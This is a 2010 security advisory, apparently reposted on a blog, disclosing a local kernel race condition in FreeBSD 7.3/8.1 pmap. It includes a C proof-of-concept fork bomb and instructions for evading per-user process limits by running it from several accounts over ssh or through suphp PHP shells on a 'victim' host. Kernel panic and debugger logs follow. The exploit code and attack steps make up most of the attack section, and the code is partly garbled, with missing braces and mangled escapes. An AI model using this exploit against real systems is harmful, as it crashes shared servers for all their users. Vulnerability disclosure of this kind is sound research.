天天看點

FreeBSD 8.1/7.3 vm.pmap kernel local race condition

<code>Author: Maksymilian Arciemowicz</code>

<code>http://SecurityReason.com</code>

<code>http://lu.cxib.net</code>

<code>Date:</code>

<code>- - Dis.: 09.07.2010</code>

<code>- - Pub.: 07.09.2010</code>

<code> </code> 

<code>Affected Software (verified):</code>

<code>- - FreeBSD 7.3/8.1</code>

<code>Original URL:</code>

<code>http://securityreason.com/achievement_securityalert/88</code>

<code>- --- 0.Description ---</code>

<code>maxproc</code>

<code>    </code><code>This is the maximum number of processes a user may be running. This</code>

<code>includes foreground and background processes alike. For obvious reasons,</code>

<code>this may not be larger than the system limit specified by the</code>

<code>kern.maxproc sysctl(8). Also note that setting this too small may hinder</code>

<code>a user's productivity: it is often useful to be logged in multiple times</code>

<code>or execute pipelines. Some tasks, such as compiling a large program,</code>

<code>also spawn multiple processes (e.g., make(1), cc(1), and other</code>

<code>intermediate preprocessors).</code>

<code>vm.pmap.shpgperproc</code>

<code>         </code> 

<code>- --- 1. FreeBSD 8.1/7.3 kernel local race condition ---</code>

<code>Race condition in pmap, allows attackers to denial of service freebsd</code>

<code>kernel. Creating a lot of process by fork() (~ kern.maxproc), it's</code>

<code>possible to denial kernel.</code>

<code>To bypass the MAXPROC from login.conf, we can use a few users to run PoC</code>

<code>in this same time, to reach kern.maxproc. suphp can be very usefully.</code>

<code>We need choose vector attack. When we have access to few users via ssh,</code>

<code>use openssh.</code>

<code>Example attack by ssh</code>

<code>POC:</code>

<code>/*</code>

<code>FreeBSD 7.3/8.1 pmap race condition PoC</code>

<code>Credit: Maksymilian Arciemowicz</code>

<code>*/</code>

<code>#include &lt;stdio.h&gt;</code>

<code>#include &lt;sys/types.h&gt;</code>

<code>#include &lt;unistd.h&gt;</code>

<code>void newproc(){</code>

<code>again:</code>

<code>fork();</code>

<code>sleep(3600*24);</code>

<code>goto again;</code>

<code>}</code>

<code>void runfork(){</code>

<code>pid_t adr;</code>

<code>if(0!=(adr=fork())) printf("fork not zero/n");</code>

<code>else {</code>

<code>printf("fork zero/n");</code>

<code>newproc();</code>

<code>int main(){</code>

<code>int secdel=5;</code>

<code>int dev;</code>

<code>// clock with (int)secdel secound frequency</code>

<code>while(1){</code>

<code>printf("sleep %i sec/n",secdel);</code>

<code>sleep(secdel);</code>

<code>printf("weak up/n");</code>

<code>// create 512 processes</code>

<code>dev=512;</code>

<code>while(dev--)</code>

<code>runfork();</code>

<code>return 0;</code>

<code>127# ssh cx () 0</code>

<code>Password:</code>

<code>$ gcc -o poc81 poc81.c</code>

<code>$ ./poc81</code>

<code>and in the same time (symetric)</code>

<code>127# ssh max () 0</code>

<code>Result:</code>

<code>Jul 29 08:41:29 127 kernel: maxproc limit exceeded by uid 1002, please</code>

<code>see tuning(7) and login.conf(5).</code>

<code>Jul 29 08:42:01 127 last message repeated 31 times</code>

<code>Jul 29 08:44:02 127 last message repeated 119 times</code>

<code>Jul 29 08:50:27 127 syslogd: kernel boot file is /boot/kernel/kernel</code>

<code>Jul 29 08:50:27 127 kernel: maxproc limit exceeded by uid 0, please see</code>

<code>tuning(7) and login.conf(5).</code>

<code>Jul 29 08:50:27 127 kernel: panic: get_pv_entry: increase</code>

<code>Jul 29 08:50:27 127 kernel: cpuid = 0</code>

<code>Jul 29 08:50:27 127 kernel: Uptime: 13m23s</code>

<code>Jul 29 08:50:27 127 kernel: Cannot dump. Device not defined or unavailable.</code>

<code>Jul 29 08:50:27 127 kernel: Automatic reboot in 15 seconds - press a key</code>

<code>on the console to abort</code>

<code>Jul 29 08:50:27 127 kernel: --&gt; Press a key on the console to reboot,</code>

<code>Jul 29 08:50:27 127 kernel: --&gt; or switch off the system now.</code>

<code>Jul 29 08:50:27 127 kernel: Rebooting...</code>

<code>Jul 29 08:50:27 127 kernel: Copyright (c) 1992-2010 The FreeBSD Project.</code>

<code>But when we have php-shell from several uid`s, we can also use suphp.</code>

<code>Example attack by suphp:</code>

<code>127# cat cxuser.php</code>

<code>&lt;?php</code>

<code>        </code><code>system("./def");</code>

<code>?&gt;</code>

<code>127# ls -la</code>

<code>total 16</code>

<code>drwxr-xr-x  2 root  wheel   512 Jul 29 08:43 .</code>

<code>drwxr-xr-x  4 root  wheel   512 Jul 29 08:38 ..</code>

<code>- -rw-r--r--  1 cx    cx       27 Jul 29 08:38 cxuser.php</code>

<code>- -rwxr-xr-x  1 cx    cx     7220 Jul 29 08:38 def</code>

<code>- -rw-r--r--  1 max   max      27 Jul 29 08:43 maxuser.php</code>

<code>now remote request to cxuser.php and maxuser.php</code>

<code>curl http://victim/hack/cxuser.php</code>

<code>and in the same time</code>

<code>curl http://victim/hack/maxuser.php</code>

<code>result:</code>

<code>Jul 29 08:43:07 localhost login: ROOT LOGIN (root) ON ttyv0</code>

<code>Jul 29 08:48:30 localhost syslogd: kernel boot file is /boot/kernel/kernel</code>

<code>Jul 29 08:48:30 localhost kernel: maxproc limit exceeded by uid 1001,</code>

<code>please see tuning(7) and login.conf(5).</code>

<code>Jul 29 08:48:30 localhost kernel: panic: get_pv_entry: increase</code>

<code>Jul 29 08:48:30 localhost kernel: cpuid = 0</code>

<code>Jul 29 08:48:30 localhost kernel: Uptime: 4m43s</code>

<code>Jul 29 08:48:30 localhost kernel:</code>

<code>Jul 29 08:48:30 localhost kernel: Dump failed. Partition too small.</code>

<code>Jul 29 08:48:30 localhost kernel: Automatic reboot in 15 seconds - press</code>

<code>a key on the console to abort</code>

<code>Jul 29 08:48:30 localhost kernel: Rebooting...</code>

<code>Jul 29 08:48:30 localhost kernel: Copyright (c) 1992-2010 The FreeBSD</code>

<code>Project.</code>

<code>- ---debug log - cron (uid=0)---</code>

<code>...</code>

<code>maxproc limit exceeded by uid 1002, please see tuning(7) and login.conf(5).</code>

<code>maxproc limit exceeded by uid 1001, please see tuning(7) and login.conf(5).</code>

<code>panic: get_pv_entry: increase vm.pmap.shpgperproc</code>

<code>cpuid = 0</code>

<code>KDB: enter: panic</code>

<code>[ thread pid 7417 tid 106207 ]</code>

<code>Stopped at kdb_enter+0x3a: movl $0,kdb_why</code>

<code>db&gt; ps</code>

<code>pid ppid pgrp uid state wmesg wchan cmd</code>

<code>7417 880 880 0 RL CPU 0 cron</code>

<code>7416 880 880 0 RL cron</code>

<code>7415 7413 880 0 RVL cron</code>

<code>7414 7412 7412 0 R sh</code>

<code>7413 880 880 0 D ppwait 0xc8118548 cron</code>

<code>7412 7411 7412 0 Ss wait 0xc8118aa0 sh</code>

<code>7411 880 880 0 S piperd 0xc4d7eab8 cron</code>

<code>7410 5367 1294 1001 RL+ def</code>

<code>7409 5366 1294 1001 RL+ def</code>

<code>7408 5365 1294 1001 RL+ def</code>

<code>7407 5364 1294 1001 RL+ def</code>

<code>7406 5363 1294 1001 RL+ def</code>

<code>7405 5362 1294 1001 RL+ def</code>

<code>7404 5361 1294 1001 RL+ def</code>

<code>db&gt; trace</code>

<code>Tracing pid 7417 tid 106207 td 0xc8113280</code>

<code>kdb_enter(c0ccfb5c,c0ccfb5c,c0d0a037,e7f9da38,0,...) at kdb_enter+0x3a</code>

<code>panic(c0d0a037,10,c0d09b5f,88c,0,...) at panic+0x136</code>

<code>get_pv_entry(c80bcce0,0,c0d09b5f,ccd,c0fabd00,...) at get_pv entry+0x252</code>

<code>pmap_enter(c80bcce0,a0f7000,1,c2478138,5,...) at pmap_enter+0x34c</code>

<code>vm_fault(c8Obcc30,a0f7000,1,0,a0f711b,...) at vm_fault+0x1b02</code>

<code>trap_pfault(5,0,c0dOblle,c0cd1707,c8118550,...) at trap_pfault+0xl0d</code>

<code>trap(e7f9dd28) at trap+0x2d0</code>

<code>calltrap() at calltrap+0x6</code>

<code>- --- trap 0xc, eip = 0xa0f711b, esp = 0xbfbfec8c, ebp = 0xbfbfecc8 --</code>

<code>db&gt; show pcpu</code>

<code>dynamic pcpu = 0x627d00</code>

<code>curthread = 0xc8113280: pid 7417 "cron"</code>

<code>curpcb = 0xe7f9dd80</code>

<code>fpcurthread = none</code>

<code>idlethread = 0xc4183a00: tid 100003 "idle: cpu0"</code>

<code>APIC ID = 0</code>

<code>currentldt = 0x50</code>

<code>spin locks held:</code>

<code>db&gt; show registers</code>

<code>cs 0x20</code>

<code>ds 0xc0cc0028</code>

<code>es 0xc0d00028</code>

<code>fs 0xc08f0008 free_unr+0x188</code>

<code>ss 0x28</code>

<code>eax 0xc0ccfb5c</code>

<code>ecx 0xc148792f</code>

<code>edx 0</code>

<code>ebx 0xl</code>

<code>esp 0xe7f9d9f8</code>

<code>ebp 0xe7f9da00</code>

<code>esi 0x100</code>

<code>edi 0xc8113280</code>

<code>eip 0xc08de44a kdb_enter+0x3a</code>

<code>efl 0x286</code>

<code>kdb_enter+0x3a: movl $0,kdb_why</code>

<code>db&gt; show page</code>

<code>cnt.v_free_count: 104827</code>

<code>cnt.v_cache_count: 11</code>

<code>cnt.v_inactive_count: 3369</code>

<code>cnt.v_active_count: 44397</code>

<code>cnt.v_wire_count: 58250</code>

<code>cnt.v_free_reserved: 324</code>

<code>cnt.v_free_min: 1377</code>

<code>cnt.v_free_target: 5832</code>

<code>cnt.v_cache_min: 5832</code>

<code>cnt.v_inactive_target: 8748</code>

<code>- ---debug log - crash in cron (uid=0)---</code>

<code>- ---debug log - crash in def (uid=1001)---</code>

<code>6774 4777 2009 1001 RL+ def</code>

<code>6773 4777 2009 1001 RL+ CPU 0 def</code>

<code>6772 4777 2009 1001 RL+ def</code>

<code>curthread = Oxc8c34c80: pid 6773 "def"</code>

<code>curpcb = Oxe97f6d80</code>

<code>- --- 2. PoC def2.c ---</code>

<code>- --- 3. Greets ---</code>

<code>sp3x, Infospec, Adam Zabrocki 'pi3'</code>

<code>- --- 4. Contact ---</code>

<code>Author: SecurityReason.com [ Maksymilian Arciemowicz ]</code>

<code>Email:</code>

<code>- - cxib {a/./t] securityreason [d=t} com</code>

<code>GPG:</code>

<code>- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg</code>

<code>http://securityreason.com/</code>

<code>http://lu.cxib.net/</code>

<code>- -- </code>

<code>Best Regards,</code>

<code>- ------------------------</code>

<code>pub   1024D/A6986BD6 2008-08-22</code>

<code>uid                  Maksymilian Arciemowicz (cxib)</code>

<code>&lt;cxib () securityreason com&gt;</code>

<code>sub   4096g/0889FA9A 2008-08-22</code>

<code>http://securityreason.com</code>

<code>http://securityreason.com/key/Arciemowicz.Maksymilian.gpg</code>